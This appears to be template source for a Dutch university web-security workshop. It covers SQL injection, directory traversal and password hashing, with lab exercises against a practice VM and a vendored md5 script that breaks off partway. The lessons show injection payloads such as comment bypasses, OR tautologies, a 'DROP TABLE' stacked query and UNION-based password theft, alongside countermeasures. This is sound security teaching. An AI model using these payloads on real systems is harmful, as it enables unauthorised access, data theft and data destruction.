<span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span>
<div class="points"><span class="question-points">0</span> punten</div>
<textarea class="question-input" name="answer_path_image_fix">{{ answers.answer_path_image_fix.string }}</textarea>
</div>
<img src="/static/img/parent_dir.png" class="center-block">
<h2>Image 3</h2>
<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's (<a href="https://github.com/Avans/Security-Workshop/blob/master/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p>
<p class="hint"><strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p>
<p class="hint"><strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met <code>include()</code> ziet er interessant uit...</p>
<div class="question">
<span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span>
<div class="points"><span class="question-points">0</span> punten</div>
<textarea class="question-input" name="answer_path_include_explain">{{ answers.answer_path_include_explain.string }}</textarea>
</div>
{% endblock %}

@ -0,0 +1,203 @@
{% extends "base.html" %}
{% block content %}
<style>
code i {
color: blue;
font-style: normal;
font-weight: bold;
}
p code {
padding: 0;
margin: 2px;
}
</style>
<h1>Security 1</h1>
<p>Welkom bij Security 1! Dit vak gaan we ons richten op het hacken van websites. En met die zin komen we meteen bij onze gouden regel voor dit vak:</p>
<blockquote>Het hacken van websites zonder toestemming is <strong>niet</strong> toegestaan</blockquote>
<p>Om de opdrachten te kunnen maken krijg je van ons toestemming om de websites in de VM te mogen hacken ;).
We gaan in dit vak verschillende manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens
de workshop in de praktijk te brengen</p>
<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block">
<h1>SQL injection</h1>
<p>We beginnen deze week bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn er <a href="https://www.google.nl/webhp?#safe=off&amp;tbm=nws&amp;q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p>
<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query die wordt uitgevoerd is bijvoorbeeld deze:</p>
<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code>
<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p>
<h5>Commentaar</h5>
<p>Met <code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met <code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p>
<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code>
<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar. De query zal dus ook rijen teruggeven waar <i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen kopen :)</p>
<h5>AND, OR</h5>
<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld de volgende query maken met de juiste invoer:</p>
<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code>
<p>Deze query maakt weer het <i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het resultaat is altijd true (de haakjes worden als volgt geplaatst: <code>. OR ( . AND . )</code>).
<h5>Meerdere queries</h5>
<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk eens wat er gebeurt als de gebruiker deze invoer geeft:</p>
<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code>
<p>Met <code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat. Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p>
<h5>UNION</h5>
<p>We kunnen met behulp van de <a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p>
<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code>
<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries evenveel kolommen teruggeven.</p>
<img src="/static/img/shield.png" style="float: right">
<h4>Countermeasures</h4>
<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p>
<h5>Stored procedures</h5>
<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat in plaats op de server is SQL injectie niet mogelijk</p>
<h5>Prepared statements</h5>
<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk. Lees <a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p>
<h5>Escaping</h5>
<p>Je kan ook alle invoer zelf escapen met functies zoals <a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid op je website!</p>
<p>Op <a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p>
<img src="/static/img/sql_injectie.png" class="center-block">
<h2>Bank</h2>
<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel geld Bob op zijn rekening heeft staan.</p>
<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom haar rekening hacken met behulp van SQL.</p>
<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link <span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p>
<p class="hint"><strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p>
<p class="hint"><strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p>
<p class="hint"><strong>Hint 3:</strong> Bekijk de broncode achter de site: <a href="https://github.com/Avans/Security-Workshop/blob/master/bank/index.php#L51" target="_blank">https://github.com/Avans/Security-Workshop/blob/master/bank/index.php#L51</a>
De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p>
<img src="/static/img/poespas.png" style="width: 70%" class="center-block">
<div class="question">
<span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span>
{% include "points.html" with points=answers.answer_sql_money_alice.points max="5" %}
<input class="question-input" name="answer_sql_money_alice" value="{{ answers.answer_sql_money_alice.string }}"></input>
</div>
<div class="question">
<span class="question-string">Wat heb je als gebruikersnaam ingevuld om zonder wachtwoord in te loggen als Alice?</span>
{% include "points.html" with points=answers.answer_sql_username_alice.points max="10" %}
<input class="question-input" name="answer_sql_username_alice" value="{{answers.answer_sql_username_alice.string}}"></input>
</div>
<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND, OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p>
<div class="question">
<span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span>
{% include "points.html" with points=answers.answer_sql_always_password.points max="10" %}
<input class="question-input" name="answer_sql_always_password" value="{{answers.answer_sql_always_password.string}}"></input>
</div>
<p class="hint"><strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker. Het maakt voor de opdracht niet uit als wie je inlogt.</p>
<div class="question">
<span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op. Type de verbeterde regels code in onderstaand tekstveld. (denk terug aan je mysql WEBS2 practicum)</span>
{% include "points.html" with points=answers.answer_sql_fix_query.points max="15" %}
<textarea class="question-input" name="answer_sql_fix_query">{{answers.answer_sql_fix_query.string}}</textarea>
</div>
<p>Open de <span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries (queries gescheiden door een ; ).</p>
<div class="question">
<span class="question-string">Met welke <i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span>
{% include "points.html" with points=answers.answer_sql_bob_millionaire.points max="10" %}
<input class="question-input" name="answer_sql_bob_millionaire" value="{{answers.answer_sql_bob_millionaire.string}}"></input>
</div>
<img src="/static/img/bank_schema.png">
<h2>Webshop</h2>
<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de webshop van Leaky's. Gebruik hiervoor de link <span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p>
<p>Je kan de broncode vinden op: <a href="https://github.com/Avans/Security-Workshop/blob/master/webshop/product_detail.php#L62" target="_blank">https://github.com/Avans/Security-Workshop/blob/master/webshop/product_detail.php#L62</a>
<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare quotejes om de query aan te passen.</p>
<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p>
<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit de database!</p>
<p class="hint"><strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen.</p>
<img src="/static/img/webshop_schema.png">
<div class="question">
<span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en 4)</span>
{% include "points.html" with points=answers.answer_sql_usernames_passwords_webshop.points max="5" %}
<textarea class="question-input" name="answer_sql_usernames_passwords_webshop">{{answers.answer_sql_usernames_passwords_webshop.string}}</textarea>
</div>
<div class="question">
<span class="question-string">Met welke URL heb je het wachtwoord van Marco achterhaald?</span>
{% include "points.html" with points=answers.answer_sql_url_marco_password.points max="10" %}
<input class="question-input" type="url" name="answer_sql_url_marco_password" value="{{answers.answer_sql_url_marco_password.string}}"></input>
</div>
<div class="question">
<span class="question-string">Bekijk de <a href="https://github.com/Avans/Security-Workshop/blob/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span>
{% include "points.html" with points=answers.answer_sql_fix_injection_webshop.points max="15" %}
<textarea class="question-input" name="answer_sql_fix_injection_webshop">{{answers.answer_sql_fix_injection_webshop.string}}</textarea>
</div>
<p>Open de pagina <span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit de invoer gefilterd.</p>
<p class="hint"><strong>Hint:</strong> SELSELECTECT</p>
<div class="question">
<span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span>
{% include "points.html" with points=answers.answer_sql_url_marco_replace_password.points max="5" %}
<input class="question-input" type="url" name="answer_sql_url_marco_replace_password" value="{{answers.answer_sql_url_marco_replace_password.string}}"></input>
</div>
<h2>Wereldwijs</h2>
<p>Ga in de VM naar de <span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p>
<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p>
<div class="question">
<span class="question-string">Wat is het onderwerp van de geheime pagina?</span>
{% include "points.html" with points=answers.answer_sql_wereldwijs_title.points max="5" %}
<input class="question-input" name="answer_sql_wereldwijs_title" value="{{answers.answer_sql_wereldwijs_title.string}}"></input>
</div>
<div class="question">
<span class="question-string">Met welke URL heb je de website de geheime pagina laten tonen?</span>
{% include "points.html" with points=answers.answer_sql_wereldwijs_url.points max="10" %}
<textarea class="question-input" type="url" name="answer_sql_wereldwijs_url">{{answers.answer_sql_wereldwijs_url.string}}</textarea>
</div>
{% endblock %}

@ -0,0 +1,387 @@
{% extends "base.html" %}
{% block content %}
<h1>Wachtwoorden</h1>
<img src="/static/img/password.png" class="center-block">
<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben twee weken geleden gezien dat het niet onmogelijk is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te <b>hashen</b>.
<h3>Hashfunctie</h3>
<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p>
<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;">
> md5 >
<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly="">
<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk dat eigenlijk de enige praktische optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op dezelfde hash (brute-force).</p>
<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij hetzelfde wachtwoord ingevuld!</p>
<h3>Rainbow tables</h3>
<p>Zo moeilijk als het is om een hash terug te <i>rekenen</i>, zo makkelijk is het om een hash terug <i><a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a></i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze aanval:</p>
<h3>Salt</h3>
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p>
<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%">
<h1>Opdrachten</h1>
<div class="question">
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had deze gebruiker?</span>
{% include "points.html" with points=answers.answer_password_crack.points max="5" %}
<input class="question-input" name="answer_password_crack" value="{{answers.answer_password_crack.string}}">
</div>
<div class="question">
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span>
{% include "points.html" with points=answers.answer_password_crack_prevent.points max="15" %}
<textarea class="question-input" name="answer_password_crack_prevent">{{answers.answer_password_crack_prevent.string}}</textarea>
</div>
<h2>Nieuws</h2>
<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de tabel inzien.</p>
<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers een veelgebruikt wachtwoord.</p>
<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p>
<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p>
<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p>
<div class="question">
<span class="question-string">Wat is het wachtwoord van Pete?</span>
{% include "points.html" with points=answers.answer_password_pete.points max="5" %}
<input class="question-input" name="answer_password_pete" value="{{answers.answer_password_pete.string}}">
</div>
<div class="question">
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span>
{% include "points.html" with points=answers.answer_password_brute_force_prevent.points max="15" %}
<textarea class="question-input" name="answer_password_brute_force_prevent">{{answers.answer_password_brute_force_prevent.string}}</textarea>
</div>
<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de site wordt feestelijk weer geopend.</p>
<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een kort fragment van een logbestand terugvinden:</p>
<code class="center-block">
...<br>
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br>
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br>
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947G'<br>
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947H'<br>
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947I'<br>
2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br>
</code>
<div class="question">
<span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval te voorkomen.</span>
{% include "points.html" with points=answers.answer_password_brute_force_login.points max="10" %}
<textarea class="question-input" name="answer_password_brute_force_login">{{answers.answer_password_brute_force_login.string}}</textarea>
</div>
<img src="/static/img/password2.jpg" class="center-block">
<h2>Project</h2>
<p>Open een eigen PHP project waarin je wachtwoorden van gebruikers opslaat. Dit mag ook een project zijn wat je op school in een project hebt gemaakt.</p>
<p>Sla je de wachtwoorden van gebruikers op een veilige manier op?</p>
<div class="question">
<span class="question-string">Copy-paste het stukje PHP code waarmee je wachtwoorden opslaat en leg uit welke technieken je hebt gebruikt om dit veilig te doen.</span>
{% include "points.html" with points=answers.answer_password_project.points max="15" %}
<textarea class="question-input" name="answer_password_project">{{answers.answer_password_project.string}}</textarea>
</div>
<script>
function utf8_encode(argString) {
// discuss at: http://phpjs.org/functions/utf8_encode/
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// improved by: sowberry
// improved by: Jack
// improved by: Yves Sucaet
// improved by: kirilloid
// bugfixed by: Onno Marsman
// bugfixed by: Onno Marsman
// bugfixed by: Ulrich
// bugfixed by: Rafal Kukawski
// bugfixed by: kirilloid
// example 1: utf8_encode('Kevin van Zonneveld');
// returns 1: 'Kevin van Zonneveld'
if (argString === null || typeof argString === 'undefined') {
return '';
}
// .replace(/\r\n/g, "\n").replace(/\r/g, "\n");
var string = (argString + '');
var utftext = '',
start, end, stringl = 0;
start = end = 0;
stringl = string.length;
for (var n = 0; n < stringl; n++) {
var c1 = string.charCodeAt(n);
var enc = null;
if (c1 < 128) {
end++;
} else if (c1 > 127 && c1 < 2048) {
enc = String.fromCharCode(
(c1 >> 6) | 192, (c1 & 63) | 128
);
} else if ((c1 & 0xF800) != 0xD800) {
enc = String.fromCharCode(
(c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
);
} else {
// surrogate pairs
if ((c1 & 0xFC00) != 0xD800) {
throw new RangeError('Unmatched trail surrogate at ' + n);
}
var c2 = string.charCodeAt(++n);
if ((c2 & 0xFC00) != 0xDC00) {
throw new RangeError('Unmatched lead surrogate at ' + (n - 1));
}
c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000;
enc = String.fromCharCode(
(c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128
);
}
if (enc !== null) {
if (end > start) {
utftext += string.slice(start, end);
}
utftext += enc;
start = end = n + 1;
}
}
if (end > start) {
utftext += string.slice(start, stringl);
}
return utftext;
}
function md5(str) {
// discuss at: http://phpjs.org/functions/md5/
// original by: Webtoolkit.info (http://www.webtoolkit.info/)
// improved by: Michael White (http://getsprink.com)
// improved by: Jack
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// input by: Brett Zamir (http://brett-zamir.me)
// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
// depends on: utf8_encode
// example 1: md5('Kevin van Zonneveld');
// returns 1: '6e658d4bfcb59cc13f96c14450ac40b9'
var xl;
var rotateLeft = function (lValue, iShiftBits) {
return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits));
};
var addUnsigned = function (lX, lY) {
var lX4, lY4, lX8, lY8, lResult;
lX8 = (lX & 0x80000000);
lY8 = (lY & 0x80000000);
lX4 = (lX & 0x40000000);
lY4 = (lY & 0x40000000);
lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF);
if (lX4 & lY4) {
return (lResult ^ 0x80000000 ^ lX8 ^ lY8);
}
if (lX4 | lY4) {
if (lResult & 0x40000000) {
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8);
} else {
return (lResult ^ 0x40000000 ^ lX8 ^ lY8);
}
} else {
return (lResult ^ lX8 ^ lY8);
}
};
var _F = function (x, y, z) {
return (x & y) | ((~x) & z);
};
var _G = function (x, y, z) {
return (x & z) | (y & (~z));
};
var _H = function (x, y, z) {
return (x ^ y ^ z);
};
var _I = function (x, y, z) {
return (y ^ (x | (~z)));
};
var _FF = function (a, b, c, d, x, s, ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var _GG = function (a, b, c, d, x, s, ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var _HH = function (a, b, c, d, x, s, ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var _II = function (a, b, c, d, x, s, ac) {
a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac));
return addUnsigned(rotateLeft(a, s), b);
};
var convertToWordArray = function (str) {
var lWordCount;
var lMessageLength = str.length;
var lNumberOfWords_temp1 = lMessageLength + 8;
var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64;
var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16;
var lWordArray = new Array(lNumberOfWords - 1);
var lBytePosition = 0;
var lByteCount = 0;
while (lByteCount < lMessageLength) {
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
lBytePosition = (lByteCount % 4) * 8;
lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount) << lBytePosition));
lByteCount++;
}
lWordCount = (lByteCount - (lByteCount % 4)) / 4;
lBytePosition = (lByteCount % 4) * 8;
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition);
lWordArray[lNumberOfWords - 2] = lMessageLength << 3;
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29;
return lWordArray;
};
var wordToHex = function (lValue) {
var wordToHexValue = '',
wordToHexValue_temp = '',
lByte, lCount;
for (lCount = 0; lCount <= 3; lCount++) {
lByte = (lValue >>> (lCount * 8)) & 255;
wordToHexValue_temp = '0' + lByte.toString(16);
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2);
}
return wordToHexValue;
};
var x = [],
k, AA, BB, CC, DD, a, b, c, d, S11 = 7,
S12 = 12,
S13 = 17,
S14 = 22,
S21 = 5,
S22 = 9,
S23 = 14,
S24 = 20,
S31 = 4,
S32 = 11,
S33 = 16,
S34 = 23,
S41 = 6,
S42 = 10,
S43 = 15,
S44 = 21;
str = this.utf8_encode(str);
x = convertToWordArray(str);
a = 0x67452301;
b = 0xEFCDAB89;
c = 0x98BADCFE;
d = 0x10325476;
xl = x.length;
for (k = 0; k < xl; k += 16) {
AA = a;
BB = b;
CC = c;
DD = d;
a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478);
d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756);
c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB);
b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE);
a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF);
d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A);
c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613);
b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501);
a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8);
d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF);
c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1);
b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE);
a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122);
d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193);
c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E);
b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821);
a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562);
d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340);
c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51);
b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA);
a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D);
d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453);
c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681);
b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8);
a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6);
d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6);
c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87);
b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED);
a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905);
d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8);
c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9);
b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A);
a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942);
d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681);
c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122);
b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C);
a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44);
d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9);
c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60);
b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70);
a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6);
d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA);
c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085);
b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05);
a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039);
d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5);
c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8);
b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665);
a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244);
d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97);
c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7);
b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039);
a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3);
d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92);
c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D);
b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1);
a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F);
d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0);
